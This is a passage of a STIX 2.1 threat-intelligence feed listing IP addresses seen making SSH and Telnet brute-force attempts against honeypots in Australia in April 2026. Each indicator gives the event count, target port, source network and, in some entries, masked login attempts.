      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T02:15:14.000Z",
      "valid_until": "2026-05-17T02:15:01.000Z"
    },
    {
      "created": "2026-04-15T03:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): r**t. Passwords observed (masked): s****3.",
      "id": "indicator--0c3395f3-dbdd-4967-9613-f3d110bdbe77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T03:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.70.194.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:15:33.000Z",
      "valid_until": "2026-05-17T03:15:01.000Z"
    },
    {
      "created": "2026-04-15T03:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 15399. Organisation(s): WANANCHI.",
      "id": "indicator--cbcb10c2-5732-4758-a6a2-72aef69eaaeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T03:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.212.50.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:15:33.000Z",
      "valid_until": "2026-05-17T03:15:01.000Z"
    },
    {
      "created": "2026-04-15T03:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--5563be00-bb25-4571-9534-e547d4e0354d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T03:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.152.178.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:15:33.000Z",
      "valid_until": "2026-05-17T03:15:01.000Z"
    },
    {
      "created": "2026-04-15T03:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 51132. Organisation(s): Arkaden Konsult AB.",
      "id": "indicator--8eaf851f-87d5-4dea-aa9f-7f0f47a0e596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T03:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.68.250.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:15:33.000Z",
      "valid_until": "2026-05-17T03:15:01.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a77cc241-938b-4f9e-9b74-f542b4d3feef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.213.112.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--035641ff-94e1-470a-8f78-0363e2c2799a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.116.150.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--80a70932-a23c-4a8b-8c47-71ad6eff84e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.2.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d2826e6e-ecbf-4023-8121-ebc06ce1820d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 60095. Organisation(s): JSC Ufanet.",
      "id": "indicator--198cf6a3-5e72-4c5a-928f-e19cb0f397ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.191.157.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Heralding. Target ports: 5900. Source country: RU. ASN(s): 51547. Organisation(s): LLC Telekonika. Passwords observed (masked): 1******8, 1******r, 0***0, 0******3, 1**1.",
      "id": "indicator--5ff1e57a-62bc-4aab-9b0a-45de14ed9b45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.76.100.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T05:15:07.000Z",
      "valid_until": "2026-05-17T05:15:02.000Z"
    },
    {
      "created": "2026-04-15T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d12d9ff9-3630-45a6-8043-e9034fc29218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:15:08.000Z",
      "valid_until": "2026-05-17T06:15:03.000Z"
    },
    {
      "created": "2026-04-15T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AT. ASN(s): 8562. Organisation(s): Telekom Austria.",
      "id": "indicator--53ed2b22-3ae3-4728-9d97-275b7e3bf7f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '90.152.202.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:15:08.000Z",
      "valid_until": "2026-05-17T06:15:03.000Z"
    },
    {
      "created": "2026-04-15T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--d2bda48d-fe09-48a2-8c87-6cae16f76fc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T07:15:05.000Z",
      "valid_until": "2026-05-17T07:15:02.000Z"
    },
    {
      "created": "2026-04-15T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--28867011-f47e-48b6-a511-255b5c397697",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.8.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T07:15:05.000Z",
      "valid_until": "2026-05-17T07:15:02.000Z"
    },
    {
      "created": "2026-04-15T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3acd8bfa-adff-448b-b633-db1d0e09b2b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.51.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T07:15:05.000Z",
      "valid_until": "2026-05-17T07:15:02.000Z"
    },
    {
      "created": "2026-04-15T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--ba536146-654d-47fd-8413-f05c6ac0eccf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.124.30.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:15:05.000Z",
      "valid_until": "2026-05-17T08:15:02.000Z"
    },
    {
      "created": "2026-04-15T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, s***m, 3**********4, p******s, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 3********@, A*******1.",
      "id": "indicator--821b5169-e11c-488e-a46c-e2ec069d8b86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.227.152.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:15:05.000Z",
      "valid_until": "2026-05-17T08:15:02.000Z"
    },
    {
      "created": "2026-04-15T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a84bbaa7-5eab-482c-93bf-3f29a04b5e51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:15:05.000Z",
      "valid_until": "2026-05-17T08:15:02.000Z"
    },
    {
      "created": "2026-04-15T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, u**r, 3**********4, p******s, s***m. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1***6, 3********@.",
      "id": "indicator--21b7ef66-eff4-48db-848b-e1e3651f5f53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.46.38.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:15:05.000Z",
      "valid_until": "2026-05-17T08:15:02.000Z"
    },
    {
      "created": "2026-04-15T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 41668. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--2a9a1197-6fe4-429d-8ff8-e03a5e8addeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.180.238.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:15:05.000Z",
      "valid_until": "2026-05-17T08:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 264377. Organisation(s): FV TECNOLOGIA DA INFORMACAO LTDA ME.",
      "id": "indicator--ac2236fd-2eac-493e-b6ea-8fb64821c633",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.161.123.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd.",
      "id": "indicator--e1377cfb-d793-4a0d-ad6f-3970d60c28e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.16.218.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--67300d93-f65c-4e3e-a4d7-da0f732de70a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--db745662-c3cd-43af-8105-90734aa135c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--4c0a4259-0eb0-4e9f-8450-c146485d377b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f9341bc8-ed01-484c-94c1-d4dba39c3f72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): R******#.",
      "id": "indicator--2ed263ef-427c-476e-aff9-9911579d5a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.85.163.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): s***m. Passwords observed (masked): s*******r.",
      "id": "indicator--806ed2c5-cc2e-4256-a8a4-706d1d6aceaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.22.211.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:15:05.000Z",
      "valid_until": "2026-05-17T09:15:02.000Z"
    },
    {
      "created": "2026-04-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--e6de1eed-48a8-459e-9a93-4de905597687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.110.113.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T10:15:12.000Z",
      "valid_until": "2026-05-17T10:15:08.000Z"
    },
    {
      "created": "2026-04-15T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): r**t, c****1, ***, w******c, ***. Passwords observed (masked): 1********5, 1****6, 1******X, c****1, q*******3.",
      "id": "indicator--ac67d8a5-ba31-4754-8f2b-aae1a8b5eb99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T10:15:12.000Z",
      "valid_until": "2026-05-17T10:15:08.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e580b7d0-3aee-4e90-9cf5-08923882ad8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.21.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--d8735e05-c866-45ab-89fe-6e44e8a03120",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.164.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--896e188c-b3ac-4614-acdb-a52419c5b8d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.166.118.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0f6bf8f8-beb1-4371-beda-1428aed01545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--d8014dcb-b8cf-461a-b490-6ac857d24e8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.183.140.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T11:15:05.000Z",
